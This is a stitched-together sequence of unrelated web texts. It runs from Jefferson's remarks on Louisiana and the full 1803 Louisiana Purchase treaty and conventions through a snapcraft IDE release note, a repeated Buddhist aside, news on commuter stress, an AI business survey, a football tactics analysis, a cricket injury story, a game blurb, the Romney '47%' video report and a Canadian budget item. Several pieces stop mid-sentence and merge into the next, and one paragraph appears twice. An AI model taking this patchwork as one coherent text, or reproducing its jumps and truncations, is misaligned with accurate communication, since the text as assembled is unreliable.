a chance which we thought it our duty to try; but the immediate prospect of a rupture brought the case to immediate decision. The denouement has been happy; and I confess I look to this duplication of area for the extending a government so free and economical as ours, as a great achievement to the mass of happiness which is to ensue. -To Dr. Joseph Priestley, iv, 525. Ford ed., viii, 294. (W., Jan. 1804.) I know that the acquisition of Louisiana has been disapproved by some, from a candid apprehension that the enlargement of our territory would endanger its Union. But who can limit the extent to which the federative principle may operate effectively? The larger our association, the less will it be shaken by local passions; and, in any view, is it not better that the opposite bank of the Mississippi should be settled by our own brethren and children, than by strangers of another family? With which shall we be most likely live in harmony and friendly discourse? -Second Inaugural Address, viii, 41. Ford ed., viii, 344. (1805.) It is not true that the Louisiana treaty was antedated, lest Great Britain should consider our supplying her enemies with money as a breach of neutrality. After the very words of the treaty were finally agreed to, it took some time, perhaps some days, to make out all the copies in the very splendid manner of Bonaparte's treaties. Whether the 30th of April, 1803, the date expressed, was the day of the actual compact, or that on which it was signed, our memories do not enable us to say. If the former, then it is strictly conformable to the day of the compact; if the latter, then it was postdated, instead of being antedated. [note: This antedating of the treaty was one of the charges made by John Randolph against the administration of Jefferson. -Editor] -To W. A. Burwell. V, 20. Ford ed. viii, 469. (M., Sep. 1806.) Bibliography: Foley, John P. The Jeffersonian Cyclopedia. New York: Funk & Wagnalls, 1900.
*Manning, William R. Diplomatic Correspondence of the United States: Canadian relations, 1784-1860. Washington, D.C.: Carnegie Endowment for International Peace, 1940 Treaty between the United States of America and the French Republic. The President of the United States of America and the First Consul of the French Republic, in the name of the French People, desiring to remove all source of misunderstanding relative to objects of discussion mentioned in the Second and fifth articles of the convention of the 8th Vendémiaire an. 9, (30 September 1800) relative to the rights claimed by the United States, in virtue of the treaty concluded at Madrid the 27 of October, 1795, between His Catholic Majesty and the said United States, and willing to strengthen the union and friendship which at the time of the said convention was happily reestablished between the two nations, have respectively named their plenipotentiaries, to wit, the President of the United States, by and with the advice and consent of the Senate of the said States, Robert R. Livingston, minister plenipotentiary of the United States, and James Monroe, minister plenipotentiary and envoy extraordinary of the said States, near the Government of the French republic; and the First Consul, in the name of the French people, Citizen François Barbé Marbois, minister of the public treasury, who, after having respectively exchanged their full powers, have agreed to the following articles: WHEREAS, by the article the third of the treaty concluded at St. Ildefonso, the 9th Vendémiaire an. 9 (1st October, 1800) between the First Consul of the French republic and his Catholic Majesty it was agreed as follows: "His Catholic Majesty promises and engages on his part to cede to the French Republic, six months after the full and entire execution of the conditions and Stipulations herein relative to his Royal Highness the Duke of Parma, the colony or province of Louisiana with the same extent that it now has in the hand of Spain, and that it had when France possessed it; and such as it should be after the Treaties subsequently entered into between Spain and other states." And whereas, in pursuance of the treaty, and particularly of the third article, the French republic has an incontestible title to the domain and to the possession of the said territory. The First Consul of the French republic desiring to give to the United States a strong proof of his friendship, doth hereby cede to the said United States, in the name of the French Republic, for ever and in full sovereignty, the said territory with all its rights and appurtenances, as fully and in the same manner as they have been acquired by the French Republic in virtue of the above mentioned treaty, concluded with his Catholic Majesty. In the cession made by the preceeding article are included the adjacent Islands belonging to Louisiana, all public lots and squares, vacant lands, and all public buildings, fortifications, barracks, and other edifices which are not private property. The archives, papers and documents relative to the domain and sovereignty of Louisiana and its dependencies, will be left in the possession of the commissaries of the United States, and copies will be afterwards given in due form to the magistrates and municipal officers, of such of the said papers and documents as may be necessary to them. The inhabitants of the ceded territory shall be incorporated in the union of the United States, and admitted as soon as possible, according to the principles of the federal constitution, to the enjoyment of all these rights, advantages, and immunities of citizens of the United States; and in the mean time, they shall be maintained and protected in the free enjoyment of their liberty, property and the Religion which they profess. There shall be sent by the government of France, a Commissary to Louisiana, to the end that he do every act necessary, as well to receive from the Officers of his Catholic Majesty the said country and its dependancies in the name of the French Republic, if it has not been already done, as to transmit it in the name of the French Republic to the commissary or agent of the United States. Immediately after the ratification of the present treaty by the President of the United States, and in case that of the First Consul's shall have been previously obtained, the commissary of the French Republic shall remit all military posts of New Orleans, and other parts of the ceded territory, to the commissary or commissaries named by the President to take possession; the troops, whether of France or Spain, who may be there, shall cease to occupy any military post from the time of taking possession, and shall be embarked as soon as possible in the course of three months after the ratification of this treaty. The United States promise to execute Such treaties and articles as may have been agreed between Spain and the tribes and nations of Indians until, by mutual consent of the United States and the said tribes or nations, other suitable articles shall have been agreed upon. As it is reciprocally advantageous to the commerce of France and the United States to encourage the communication of both nations for a limited time in the country ceded by the present treaty, until general arrangements relative to commerce of both nations may be agreed on: it has been agreed between the contracting parties, that the French ships coming directly from France or any of her colonies, loaded only with the produce and manufactures of France or her said colonies; and the ships of Spain coming directly from Spain or any of her colonies loaded only with the produce or manufactures of Spain or her colonies, shall be admitted during the space of twelve years in the port of New Orleans, and in all other legal ports of entry within the ceded territory, in the same manner as the Ships of the United States coming directly from France or Spain, or any of their colonies, without being subject to any other or greater duty on merchandise, or other or greater tonnage than that paid by the citizens of the United States. During that space of time above mentioned, no other nation shall have a right to the same privileges in the ports of the ceded territory: the twelve years shall commence three months after the exchange of ratifications, if it shall take place in France, or three months after it shall have been notified at Paris to the French government, if it shall take place in the United States; it is however well understood that the object of the above article is to favor the manufactures, commerce, freight, and navigation of France and of Spain so far as relates to the importations that the French and Spanish shall make into the said ports of the United States, without in any sort affecting the regulations that the United States may make concerning the exportation of t he produce and merchandize of the United States, or any right they may have to make such regulations. In future and for ever after the expiration of the twelve years, the ships of France shall be treated upon the footing of the most favored nations in the ports above mentioned. The particular convention signed this day by the respective ministers, having for its object to provide for the payment of debts due to the citizens of the United States by the French Republic prior to the 30th September, 1800, (8th Vendémiaire an. 9,) is approved, and to have its execution in the same manner as if it had been inserted in this present treaty, and it shall be ratified in the same form and in the same time, so that the one shall not be ratified distinct from the other. Another particular convention signed at the same date as the present treaty, relative to a definitive rule between the contracting parties, is in the like manner approved, and will be ratified in the same form, and in the same time, and jointly. The present treaty shall be ratified in good and due form, and the ratifications shall be exchanged in the space of six months after the date of the signature by the ministers plenipotentiary, or sooner if possible. In faith whereof, the respective plenipotentiaries have signed these articles in the French and English languages; declaring nevertheless that the present treaty was originally agreed to in the French language; and have thereunto affixed their seals. Done at Paris the tenth day of Floréal, in the eleventh year of the French Republic, and the 30th April 1803. Barbé Marbois
Rob. R. Livingston
Jas. Monroe Bibliography: The Connecticut Courant, 2 Nov. 1803. A Convention between the United States of America and the French Republic. The President of the United States of America and the First Consul of the French Republic in the name of the French people, in consequence of the treaty of cession of Louisiana, which has been Signed this day; wishing to regulate definitively every thing which has relation to the said cession, have authorized to this effect the Plenipotentiaries, that is to say, the President of the United States has, by, and with the advice and consent of the Senate of the said States, nominated for their Plenipotentiaries, Robert R. Livingston, Minister Plenipotentiary of the United States, and James Monroe, Minister Plenipotentiary and Envoy-Extraordinary of the said United States, near the Government of the French Republic; and the First Consul of the French Republic, in the name of the French people, has named as Plenipotentiary of the said Republic, the citizen François Barbé Marbois; who, in virtue of their full powers, which have been exchanged this day, have agreed to the followings articles: The Government of the United States engages to pay to the French government in the manner Specified in the following article, the sum of Sixty millions of francs, independent of the Sum which Shall be fixed by another Convention for the payment of the debts due by France to citizens of the United States. For the payment of the Sum of Sixty millions of francs mentioned in the preceeding article the United States, shall create a Stock of eleven millions, two hundred and fifty thousand Dollars, bearing an interest of Six per cent, per annum, payable half yearly in London, Amsterdam or Paris, amounting by the half year to three hundred and thirty Seven thousand five hundred Dollars, according to the proportions which Shall be determined by the French Government, to be paid at either place. The principal of the said Stock to be reimbursed at the treasury of the United States, in annual payments of not less than three millions of Dollars each; of which the first payment Shall commence fifteen years after the date of the exchange of ratifications: —this Stock Shall be transferred to the government of France, or to Such person or persons as Shall be authorized to receive it, in three months at most after the exchange of ratifications of this treaty, and after Louisiana Shall be taken possession of the name of the Government of the United States. It is further agreed that if the French Government Should be desirous of disposing of the said Stock to receive the capital in Europe at Shorter terms that its measures for that purpose Shall be taken So as to favor in the greatest degree possible the credit of the United States, and to raise to the highest price the said Stock. It is agreed that the Dollar of the United States Specified in the present Convention shall be fixed at five francs 3333/100000 or five livres, eight sous tournois. The present Convention Shall be ratified in good and due form, and the ratifications Shall be exchanged the Space of Six months to date from this day, or Sooner it possible. In faith of which the respective Plenipotentiaries have Signed the above articles, both in the French and English languages, declaring, nevertheless, that the present treaty has been originally agreed on, and written in the French language; to which they have hereunto affixed their Seals. Done at Paris, the tenth of Floreal, eleventh year of the French Republic. 30th April 1803. Robt. R. Livingston (seal)
Jas. Monroe (seal)
Barbé Marbois (seal) Convention between the United States of America and the French Republic. The President of the United States of America, and the First Consul of the French Republic, in the name of the French People, having by a Treaty of this date terminated all difficulties relative to Louisiana, and established on a Solid foundation the friendship which unites the two nations, and being desirous in compliance with the Second and fifth Articles of the Convention of the 8th Vendémiaire, ninth year of the French Republic, (30th September 1800) to Secure the payment of the Sums due by France to the citizens of the United States, have respectively nominated as Plenipotentiaries, that is to Say The President of the United States of America, by and with the advise and consent of their Senate, Robert R. Livingston, Minister Plenipotentiary, and James Monroe, Minister Plenipotentiary and Envoy Extraordinary of the said States, near the Government of the French Republic: and the First Consul, in the name of the French People, the Citizen François Barbé Marbois, Minister of the public treasury; who after having exchanged their full powers,, have agreed to the following articles. The debts due by France to citizens of the United States, contracted before the 8th Vendémiaire, ninth year of the French Republic, (30th September 1800) Shall be paid according to the following regulations, with interest at Six per Cent; to commence from the period when the accounts and vouchers were presented to the French Government. The debts provided for by the preceeding Article are those whose result is comprised in the conjectural note annexed to the present Convention, and which, with the interest cannot exceed the Sum of twenty millions of Francs. The claims comprised in the said note, which fall within the exceptions of the following articles, Shall not be admitted to the benefit of this provision. The principal and interests of the said debts Shall be discharged by the United States, by orders drawn by their Minister Plenipotentiary, on their treasury, these orders Shall be payable Sixty days after the exchange of ratifications of the Treaty, and the Conventions Signed this day, and after possession Shall be given of Louisiana by the Commissaries of France to those of the United States. It is expressly agreed that the preceding articles Shall comprehend no debts, but Such as are due to citizens of the United States, who have been and are yet creditors of France, for Supplies for embargoes, and prizes made at Sea, in which the appeal has been properly lodged, within the time mentioned in the said Convention, 8th Vendémiaire, ninth year, (30th Sept 1800). The preceding Articles Shall apply only, First: to captures of which the council of prizes Shall have ordered restitution, it being well understood that the claimant cannot have recourse to the United States otherwise than he might have had to the Government of the French republic, and only in case of insufficiency of the captors; —2d the debts mentioned in the said fifth Article of the Convention, contracted before the 8th Vendémiaire, an 9, (30th September 1800) the payment of which has been heretofore claimed of the actual Government of France, and for which the creditors have a right to the protection of the United States; —the said 5th Article does not comprehend prizes whose condemnation has been, or Shall be, confirmed: it is the express intention of the contracting parties not to extend the benefit of the present Convention to reclamations of American citizens who Shall have established houses of Commerce in France, England, or other countries than the United States, in partnership with foreigners, and who by that reason and the nature of their commerce ought to be regarded as domiciliated in the places where Such house exist. —All agreements and bargains concerning merchandise, which Shall not be the property of American citizens, are equally excepted from the benefit of the said Conventions, Saving however, to Such persons their claims in like manner as if this Treaty had not been made. And that the different questions which may arise under the preceding article may be fairly investigated, the Ministers Plenipotentiary of the United States Shall name three persons, who Shall act from the present and provisionally, and who shall have full power to examine, without removing the documents, all the accounts of the different claims already liquidated by the Bureaus established for this purpose by the French Republic, and to ascertain whether they belong to the classes designated by the present Convention, and the principles established in it, or if they are not in one of its exceptions, and on their Certificate, declaring that the debt is due to an American Citizen, or his representative, and that it existed before the 8th Vendémiaire, 9th year, (30 September 1800) the debtor shall be entitled to an order on the Treasury of the United States, in the manner prescribed by the 3d Article. The Same agents Shall likewise have power, without removing the documents, to examine the claims which are prepared for verification, and to certify those which ought to be admitted by uniting the necessary qualifications, and not being comprised in t he exceptions contained in the present Convention. The Same agents Shall likewise examine the claims which are not prepared for liquidation, and certify in writing those which in their judgment ought to be admitted to liquidation. In proportion as the debts mentioned in these articles Shall be admitted, they Shall be discharged with interest at Six per Cent, by the Treasury of the United States. And that no debt shall not have the qualifications above mentioned, and that no unjust or exorbitant demand may be admitted, the Commercial agent of the United States at Paris, or such other agent as the Minister Plenipotentiary or the United States Shall think proper to nominate, shall assist at the operations of the Bureaus, and cooperate in the examinations of the claims; and if this agent Shall be of the opinion that any debt is not completely proved, or if he shall judge that it is not comprised in the principles of the fifth article above mentioned, and if, notwithstanding his opinion, the Bureaus established by the French Government should think that it ought to be liquidated, he shall transmit his observations to the board established by the United States, who, without removing documents, shall make a complete examination of the debt and vouchers which Support it, and report the result to the Minister of the United States. —The Minister of the United States Shall transmit his observations in all Such cases to the Minister of the treasury of the French Republic, on whose report the French Government Shall decide definitively in every case. The rejection of any claim Shall have no other effect than to exempt the United States from the payment of it, the French Government reserving to itself, the right to decide definitively on Such claim So far as it concerns itself. Every necessary decision Shall be made in the course of a year to commence from the exchange of ratifications, and no reclamation Shall be admitted afterwards. In case of claims for debts contracted by the Government of France with citizens of the United States Since the 8th Vendémiaire, 9th year, (30 September 1800) not being comprised in this Convention, may be pursued, and the payment demanded in the Same manner as if it had not been made. The present convention Shall be ratified in good and due form and the ratifications Shall be exchanged in Six months from the date of the Signature of the Ministers Plenipotentiary, or Sooner if possible. In faith of which, the respective Ministers Plenipotentiary have signed the above Articles, both in the French and English languages, declaring nevertheless, that the present treaty has been originally agreed on and written in the French language, to which they have hereunto affixed their Seals. Done at Paris, the tenth of Floreal, eleventh year of the French Republic.
30th April 1803. Robt. R. Livingston (seal)
Jas. Monroe (seal)
Barbé Marbois (seal) Bibliography: Treaties and Other International Acts of the United States of America. Edited by Hunter Miller. Washington: Government Printing Office, 1931.
Placed on the Napoleon Series 9/00 [ Research Index | Government Index | Diplomatic Index ]Everyone who has followed Ubuntu lately for sure stumbled across the snappy technology, which does not only bring the new cross-distro packaging format “snap” but also a sandboxing technology for apps, as well as transactional updates that can be rolled back in case of an update going wrong and a new way of installing and upgrading Ubuntu called “Ubuntu Core”.
Together with all those new technologies came new tools that make it possible for app developers to build and pack their applications to target Snappy and Core. The central tool for that is snapcraft and it aims to unite a lot of tasks that were separate before. It can set up your build environment, build your projects and even package it with just one call in the project directory: “snapcraft”.
We took the last few weeks to start the work on supporting those new tools and now we have the first release of the IDE with direct support for building with snapcraft, as well as a basic template to get you started.
New technologies usually come with certain limitations. This one is not an exception and we hope that these issues will be eliminated in the near future:
Snapcraft uses sudo when it needs to install build packages, however that does not work when run from the QtCreator, simply because sudo does not have a console to ask the password on. So make sure build dependencies are installed before building
“Out of source” builds are not yet implemented in snapcraft, but since QtCreator always uses a extra build directory we had to work around that problem. So for now we rsync the full project into a build directory and run the build there
Also incremental builds are yet not supported, so every build is a complete rebuild
Snapcraft projects are described in a snapcraft.yaml file, so it made sense for us to use it as the project file in the IDE as well, so instead of opening a.pro or CMakeList.txt file the snapcraft.yaml is opened directly. Naturally implementing a completely new project type manager is not a trivial task, so many key features are still missing.
Code model support: while completion does work in the file scope, it does not for the full project
Debugging mode: currently the profiling and debugging run modes do not work, so snap projects can only be executed normally
Those limitations aside it can be already used to create snap packaged applications.
With this new release we consider the IDE as feature complete for the time being. Since the development of snapcraft is moving in a very fast pace we need to let it evolve to a certain degree to be sure new features added to the IDE represent the future way of building with snapcraft.
Visit snapcraftand yet, as human beings, we love philosophy, we love to sit back, light our little pipe, and philosophize about the world, and this is the human state of mind, how we act as human beings, and of course from that restlessness of the mind, from that philosophizing, the Buddha says don’t philosophize, these are the practical teachings, forget about all the other stuff.
and yet, as human beings, we love philosophy, we love to sit back, light our little pipe, and philosophize about the world, and this is the human state of mind, how we act as human beings, and of course from that restlessness of the mind, from that philosophizing, the Buddha says don’t philosophize, these are the practical teachings, forget about all the other stuff.Combat pilots flying over hostile territory should thank their lucky stars that their journey home does not involve catching the 5.15pm from Waterloo. The experience might just make them stressed.
Commuters on Britain's rush-hour roads and railways suffer greater anxiety than fighter pilots or riot police facing angry mobs of protesters, according to research published today which suggests that many travellers retreat into a "light hypnotic trance" as a defence mechanism.
Psychologists found that travellers tackling peak-hour congestion experienced heart rates as high as 145 beats per minute, compared to an "at rest" rate of 65 for a healthy young adult.
Volunteers in the study agreed to wear caps with electrodes attached to their heads on their daily journey to work, usually concealed under a baseball cap to avoid curious looks from fellow travellers.
Researchers discovered a surge in cortisol, a hormone secreted when the body is under pressure. They also detected signs that commuters' brains briefly turned inwards and shut down to the outside world - a defence process dubbed "commuter amnesia".
Dr David Lewis, who carried out the research for the technology firm Hewlett Packard, said: "Many commuters go into a sort of inner world when they're travelling and don't really notice what's happening around them. They shut everything out to take themselves away from a world they find aversive."
He said the symptoms of stress were equivalent to those measured in his past studies using combat pilots and police officers. But for commuters, the experience is worse because of a sense of "impotence".
"Stress is worst when we want to achieve something but we're being stopped from doing so," said Dr Lewis. "The maximum stress would be for somebody on their way to an important meeting when a train just stops in a tunnel, or the traffic stacks up on the motorway."
One in five of Britain's trains typically runs late. According to the National Audit Office, 13% of trunk roads are congested on at least half of the days of the year.
MPs on the transport select committee suggested last year that congestion had become so bad that many commuters faced a "daily trauma" in getting to work.
However, experts expressed caution about today's findings. Edmund King, executive director of the RAC Foundation, said the popular take-up of mobile phones had eased pressure for travellers who were at least able to warn colleagues if they were running late.
While he agreed that delays caused great anxiety, he suggested that they were so regular that they had lost some of their impact: "Congestion is such an everyday occurence that I think a fighter pilot has got to be suffering more stress than a normal M6 commuter."Let's face it, viewing artificial intelligence (AI) simply as a labor-replacement or cost-saving mechanism is boring and uninspired. Let’s start talking about a more expansive view that looks at AI as a catalyst for new ways to build markets and drive new forms of innovation.
AI potentially will enable organizations to expand in ways that were unthinkable with sheer human brainpower, as powerful as that brainpower may be. The advantage AI brings to the table is that many mundane or grunt-work decisions that occupies human decision-makers’ time – such as locating and fixing a data-transfer bottleneck, tracking machine-part performance, or even medical monitoring – is done by machines. In theory, at least, humans’ roles are freed up and elevated to more strategic vistas.
There are a million points in which machines could be making low-level decisions. But at first blush, mitigating human wages and human error rates is the main business case. But is this where AI will really pay off in the long run?
A new survey of 1,600 business and IT executives from Infosys points to AI's potential beyond cold, hard job replacement, though it's going to take inspired and entrepreneurial thinking to get past this early stage. So far, it appears AI is more a cost-cutting mechanism, versus a mind-expanding strategy. At the same time, businesses at the forefront of AI say they’re not out to eliminate jobs. It’s a hopeful thought, as 80% of these AI adopters say they don’t intend to use AI to throw people out of work, but, rather, retain and retrain employees to fulfill more elevated capacities while AI systems take on the more routine grunt work aspects of their jobs.
At the same time, AI's impact on business sectors can't be ignored. Seventy-one percent of surveyed decision-makers admit that their organization’s sector has been disrupted, or expect it to soon be disrupted, by AI technologies. So the pressure is on. AI as a cost-cutting tool may get a business so far, but it's going to take more visionary uses of AI to get to the next level.
The majority of decision-makers (71%) believe that business-to-consumer is the model that is most likely to be impacted by AI and almost all (97%) feel that there are "customer benefits to be had from the adoption of AI." They see AI as helping in the creation of new, improved products, services and business models (55%) and in giving faster access to existing ones (55%). Half also feel that AI can help with the quicker resolution of problems (50%) and over two fifths (42%) say it can help with greater personalization.
Two-thirds of decision-makers also believe AI will "bring out the best in their organization’s people." Most respondents seem optimistic about redeploying displaced employees with higher-value work. The majority, 85%, plan to train employees about the benefits and use of AI, and 80% of companies replacing roles with AI technologies will retrain or redeploy displaced employees.
To get the most out of AI, executives want to see the level and sophistication of skills rise, including active learning (58%), complex problem-solving (53%) and critical thinking (46%) to be key. Creativity (46%) and logical reasoning (43%) also come into play, "highlighting a growing need for employees who can learn quickly, think on their feet and overcome problems efficiently in order to succeed in an AI-driven environment," the report states.
But these are the very early days of AI, executives agree. The vast majority (90%) say their organizations’ employees face challenges or concerns relating to AI adoption. Only one in 10 of those surveyed whose organization has deployed AI technologies believe that their organization is fully maximizing the current available benefits and capabilities of AI, and fewer than two in 10 (18%) think that their organization is well ahead of their competitors regarding the use of AI.
More than half (51%) admit that cost reduction is the area where AI is delivering first. The benefits experienced so far include automating processes and tasks (46%), cost savings (44%), increasing productivity (44%), and increasing revenue (39%).
AI as a revenue producer is the interesting side of this story. AI adopters say they expect to see their overall revenues rise at least 39% over the next three years. Organizations who report faster growth in revenue over the past three years were also more likely to be further ahead when it comes to AI maturity, the report’s authors state. They see AI as a long-term strategic priority for innovation, with 76% citing AI as “fundamental to the success of their organization’s strategy,” and 64% believing that their organization’s future growth is dependent on large-scale AI adoption.
Businesses also plan to invest in skills development to make AI work in the way it’s supposed to work. In 80% of cases where companies are replacing roles with AI, organizations are redeploying or retraining staff to retain them in the business. A majority, 53%, are specifically investing in skills development. Organizations that have fewer AI related skills are more likely to re-deploy workers impacted by AI adoption, whereas those with more AI-related skills are more likely to re-train employees, according to the study.
"In organizations that are more mature in their use of AI, employee resources are being effectively used to the benefit of AI implementation and not simply sidelined by technology," the Infosys report's |
leaving their centre-backs exposed and raising serious questions about their approach.
Spurs' first intention should have been to protect their centre-backs – Michael Dawson consistently looks uncomfortable in a high line while Younès Kaboul was making his first league start for 15 months. They were up against the league's in-form strike partnership, Sergio Agüero and Alvaro Negredo.
Although City essentially played a 4-4-2 formation in possession, Negredo dropped back to support the battle against Tottenham's three central midfielders. That left Agüero up front, able to use his pace in behind the Spurs defence. Negredo would sprint forward to join him and his deeper position was taken up by Samir Nasri who drifted inside from the left dangerously.
While Sandro played a defensive-minded role and attempted to protect the defence, he was exposed against midfield runners because Paulinho and Lewis Holtby were bypassed so easily. Sandro's superb last-ditch challenge on Nasri early on demonstrated his tackling ability, but he was forced into a succession of desperate challenges to stop quick counter-attacks. He endured a truly disastrous first period, which included an own goal and a vomiting incident, and he was also handicapped by a 20th-minute caution. After that he needed Paulinho to sit deep alongside him to share the defensive midfield duties as Spurs tried to ease their way back into the contest.
Manchester City's front four sprung forward quickly, exposing Spurs' lack of defensive cover. Photograph: Guardian/Graphic
There were other problems for the centre-backs – Jan Vertonghen and Kyle Walker charged forward from full-back, but this forced Dawson and Kaboul to defend the width of the pitch when City counter-attacked quickly. Walker was helping Spurs make progress down the right, and his strengths lie in his attacking ability, but Vertonghen is a natural centre-back and Villas-Boas could have used him more cautiously, giving Spurs cover at the back.
Another problem was Spurs' centre-backs splitting in possession, with a midfielder dropping into defence. This makes sense when building passing moves against a two-man strikeforce, but it had disastrous consequences when Spurs were caught out in the transition between the two systems for City's second goal – Holtby, on paper Spurs' most attacking midfielder, briefly found himself in the middle of a back three and failed to track Agüero.
Amazingly, Spurs dominated possession. But City were entirely happy with this situation because it allowed them to draw Spurs up the pitch, before breaking powerfully. Whether it was Agüero sprinting in behind, Jesús Navas attacking down the right or Nasri and Yaya Touré storming through the centre, the space afforded to City was astonishing. Villas-Boas' decision to go 4-4-2 at half-time, with Emmanuel Adebayor replacing Holtby, opened up the game and exposed Sandro, Dawson and Kaboul even more.
Villas-Boas' coaching philosophy cannot be dismissed on the evidence of one match. But a touch of pragmatism and caution was required – this shouldn't have turned into such a humiliation.EVERY cloud has a silver lining – but can some clouds have two?
Rarely is an injury suffered by the most in-form player in the team seen as a good thing, and indeed Australia will be hurt by the absence of David Warner over the coming games.
On Monday (AEST) Warner was ruled out of the rest of the one-day tri-series in the Caribbean – and according to Australia’s medical team could face up to six weeks on the sidelines - after breaking his finger in the 36-run win over South Africa in St Kitts.
The gun batsman, who scored a century earlier in that match, now faces a nervous wait ahead of the upcoming tour of Sri Lanka that Australia will fly out for in less than a month’s time.
Yet within this bad news lies one positive for Australia, and another for Warner himself.
SILVER LINING PART ONE – FOR THE TEAM
Australia’s batting line-up looks a whole lot less intimidating without Warner’s name at the top of the list.
Yet the top of the order isn’t where Australia has been having problems, and with Usman Khawaja set to shift up a spot to open alongside Aaron Finch, the Aussies will still be confident of doing damage against the new ball.
Problems have instead arisen in the middle order, and that is where Warner’s replacement will bat.
David Warner posted a century against South Africa before injuring his finger in the field. Source: AFP
Either Glenn Maxwell or Travis Head will come into the side, both with big points to prove.
Maxwell is Australia’s reigning one-day player of the year but was dumped on the weekend due to a poor run of form with the bat. It was the first time Maxwell had been dropped due to form since November 2014.
Now that he’s had a couple of days to stew over that decision, throwing the out-of-sorts all-rounder back into the fray after a proverbial kick up the backside could prove the tonic to fix his batting woes.
Head, on the other hand, is trying to break into the team for the first time. The 22-year-old impressed all-comers during his breakout season with South Australia and Adelaide Strikers last summer, but now could be his chance to prove he has the mettle to score runs at the highest level.
With Australia sitting on top of the tri-series table the stakes for the Windies clash are about as low as they could be for a one-day international, making it the perfect opportunity to blood Head.
The youngster will be out to prove a point and will surely heed the advice his captain gave after learning of Warner’s injury.
“It’s going to be a bit of onus on the player that comes in and the guys in the top four to try and get the job done,” Australia skipper Steve Smith said. “It’s about adapting and trying to get yourself in – it might take a little bit longer than normal but once you get yourself in you’ve got to try cash in.”
Either way the long-term balance and depth within the Aussie one-day setup will benefit from someone getting a shot in Warner’s absence.
Travis Head is waiting in the wings for Australia. Source: AFP
SILVER LINING, PART TWO – FOR WARNER
No player worth his salt enjoys missing out on playing for his country, and Warner will definitely be disappointed that his tri-series is over.
Yet the timing of his injury could barely have been better.
The 29-year-old has been playing cricket virtually non-stop since turning out for New South Wales in a Sheffield Shield match in late October last year.
Since then he’s played home and away Test series’ against New Zealand, a home Test series against West Indies, one-day and Twenty20 matches at home against India, one-dayers in New Zealand, Twenty20s in South Africa, the World T20 in India and a full season of Indian Premier League before arriving in the Caribbean.
After the tri-series wraps up the Aussies will spend about a week and a half at home before heading to Sri Lanka for two months, coming home for a couple of weeks, flying to South Africa for six one-day internationals before commencing a home summer that will wrap up at the end of February – which is just before Australia’s scheduled Test series in India.
Warner will get a well-earned rest back home. Source: AFP
In other words, if it wasn’t for the injury then Warner would only have had about three or four weeks’ rest in 18 months.
Now this extended break from cricket gives the Australian vice-captain time to refresh his mind and body.
“It’s obviously disappointing to be sidelined given the form I’ve been in and given the important stage the tri-series is at, but it’s always important to look at the positives,” Warner said.
“This downtime, however long or short it is, will give me the chance to freshen up and spend quality time with my family after an intense period of action.”“Life is hard” is a strategy/village management game. Your aim here is to control a tribe. Defend your village, harvest resources, expand your town, colonize the islands, upgrade your tools and weapons and contact with other civilizations. There is no specific aim in our game. You can do whatever you want.
Expand your village: build farms and houses, upgrade tools in blacksmith, trade with your neighbors. It’s your destiny to create the most powerful town in this amazing world!
Conquer the world by fire & sword or with power of diplomacy. What would you choose – to help your neighbors to deal with the Vikings for iron ore or to rob them to get more? To pay the Normans tribute or to refuse, condemning your nation to war? To trade with the caravan or to loot it? Make your choice, but remember: every medal has its reverse…Romney confirms authenticity of video where he calls 47% of voters government-dependent, in most damaging mishap yet
Mitt Romney's campaign came close to hitting the self-destruct button when he stood by a secret video recording suggesting that 47% of Americans are government-dependent "victims" who do not pay taxes.
In a hastily-convened press conference, the Republican presidential candidate confirmed the authenticity of the video and opted against disavowing the views expressed in it. He said only that the case was not "elegantly stated" and that he had "spoken off the cuff".
He was speaking after a secret video recording was posted on a website in which he was caught denigrating people who receive benefits from the government.
He went on suggest they could expect little help from him if he became president.
"My job is not to worry about those people," he said.
He added that all these government-dependent people would support Barack Obama.
The video was recorded a few months ago at a fund-raising event behind-closed-doors.
The release of the video is the most damaging episode yet in a campaign filled with Romney mishaps. His campaign is in danger of turning into one of the most ineptly-run in recent US political history, though there are still seven weeks left to turn it round.
The Obama campaign described the video as "shocking".
In his press conference, in California, Romney basically repeated the case he made in the video that the 47% dependent on the government would vote for Obama, though couched in slightly less inflammatory language. Obama's policies are "attractive to people who do not pay taxes", Romney said.
Romney tends to avoid the press as much as possible and it is a sign of the seriousness of the situation that he had to make an impromptu statement. He attempted to pose his comments as part of a broader philosophical debate about the future of America. "Do you believe in a government-centered society that provides more and more benefits? Or do you believe instead in a free enterprise society where people are able to pursue their dreams?"
He insisted he wanted to help all Americans.
While his views about people dependent on the government will be applauded by parts of the right, he risks alienating independents who do not share his view of American society and also motivating disgruntled Democrats who may have otherwise have abstained in the 6 November election to get out and vote.
It also plays into the portrait that the Democrats have been gradually building of Romney as an extremely wealthly individual who is out of touch with working-class and middle-class Americans.
At a bare minimum, the controversy ensures it will be the dominant theme of the week, with Romney forced on the defensive again, with detailed discussion of who precisely constitutes the 47%.
It also means that the issue of how much he himself paid in taxes will resurface, with calls for him to release his tax returns beyond the two years he has volunteered.
The video, was posted on the website of the liberal Mother Jones magazine. It came only hours after the Romney campaign acknowledged it is struggling when it announced it was to change strategy. Romney is trailing Obama in the polls by about three percentage points.
In the video, Romney said: "All right, there are 47% who are with him (Obama), who are dependent upon government, who believe that they are victims, who believe the government has a responsibility to care for them, who believe that they are entitled to healthcare, to food, to housing, to you-name-it."
He added: "These are people who pay no income tax."
Apart from offending a large part of the population, the comment is also inaccurate. Many of those he includes in the 47% do pay tax. Many of those also receive government money because they are elderly and have been paying into the system all their lives.
The controversy broke only hours after the Romney campaign set out to recalibrate its strategy. It said it would attempt to give a clearer, more positive picture of their candidate as it seeks to regain the initiative with just 50 days to go until the election.
The new strategy will not abandon negative campaigning, but will focus on positive ads as well as speeches to spell out the Romney would pursue in office, in particular his five-point economic plan.
Romney began his campaign early in the summer intent on making the election about Obama's economic record and making himself as small a target as possible by disclosing little about his own policies.
But since then there has barely been a clear week in which Romney has been able to get his message across, either because of a barrage of ads on his record as chief executive of Bain Capital and his unwillingness to release more than two years' worth of tax records, or because of gaffes on his own side.New year-end numbers reveal the federal government quietly cut spending by $8-billion after Canadians handed the Conservatives a majority mandate.
The Conservatives fought an election over their 2011 budget plan, which was first introduced in March of that year before the opposition parties defeated the minority government. The same budget was re-introduced in June of 2011 after voters gave Prime Minister Stephen Harper a majority.
The 2011 budget was not billed as a cost-cutting budget, but the Public Accounts year-end figures, tabled Tuesday, reveal Ottawa quickly scrapped its spending script.
Story continues below advertisement
After winning its first majority government, the Conservative government appears to have targeted the infrastructure-heavy stimulus spending the opposition demanded during the recession.
Infrastructure programs such as the federal Green Fund and the Building Canada Fund came well short of spending their approved budgets.
